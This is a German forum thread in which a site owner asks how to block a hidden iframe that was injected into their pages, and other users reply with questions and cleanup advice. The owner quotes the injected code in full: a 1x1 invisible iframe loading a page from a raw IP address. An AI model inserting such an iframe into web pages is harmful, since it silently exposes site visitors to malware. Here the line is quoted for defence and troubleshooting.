Aufruf erkennen und blocken

[andygyr]

hallo zusammen,
Ich habe das problem, das bei mir auf der Seite etwas aufgerugen, und zwar in einem Iframe.

Nun möchte ich, mit PHP, diesen aufruf blocken.
Das heisst also, das ich zuerst den zugriff auf eine Seite feststellen muss, und ihn nachher zu blocken.

Funktioniert das mit PHP?
Wenn ja, wie?

[Shurakai]

Erläutere dein Problem genauer. Kommt der Aufruf von einer externen Seite, die deinen Content einbindet?

[andygyr]

genauer gesagt handelt es sich um eine art Virus, der automatisch eingebunden wird.
81.95.149.26/logo/index.php auf diese adresse wird er aurfgerufen, mit folgendem code:

<iframe src='http://81.95.149.26/logo/index.php' width='1' height='1' style='visibility: hidden;'></iframe>

Nun könnte man sicher mit php den aufruf der Seite Blockieren, sodass auch nicht passiert.

ps:
Hab schon alles, probiert in sachen Virenprogrammen usw.

[pekka]

Hä?
Ich versteh kein Wort. Virus?
Bitte nochmal von Vorne erklären.

[ArSeN]

1. Wieso kann der Benutzer bestimmten was in deinem Iframe eingebunden wird?
2. Wenn nicht, wieso bindest du dann diesen Virus ein?
3. Warum benutzt du überhaupt Iframes?

[andygyr]

Nun, der Virus wird automatisch eingebunden, und zwar in versteckten Iframes..
Mehr zum Virus:
http://www.google.ch/search?hl=de&q=81.95.149.26&meta=

[ArSeN]

"automatisch"? Von wem oder was denn bitte? Von deinem Server? Verstehe ich nicht. Wieso antwortest du nicht auf meine Fragen?

[highrise]

Wenn es einem schlauen aber bösen menschen gelingt, diesen Code in deiner Seite zu platzieren, hast du keine Möglichkeit, den Aufruf zu blocken, nachdem die Seite ausgeliefert wurde, da der Browser die Seite lädt, die in dem iframe dargestellt werden soll, ohne vorher bei deinem Server zu fragen, ob er das auch darf...

Die einzige Möglichkeit wäre, deine Seiten VOR der Auslieferung an den Browser auf den entsprechenden Code hin zu untersuchen und diesen zu entfernen.

Ist allerdings ein wenig umständlich, weil du wirklich jede Ausgabe parsen musst...

Informationen, wie der Hacker den schädlichen Code auf deiner Seite paltziert hat oder platzieren kann wären hilfreicher, um die Veränderung gleich von vornherein auszuschließen...

Ist das Kind erst in den Brunnen gefallen, dann ist die einfachste und schnellste Lösung natürlich, den Fraglichen Code von Hand zu bereinigen und neu zu veröffentlichen.

greetz, high

[Kropff]

schau mal bei google vorbei, da gibt es einige infos zu dem thema.

gruß
peter

[bUTschy]

hi

evtl hilft dir dieser link weiter
www.stoer-angler.de/.../viewtopic.php?t=562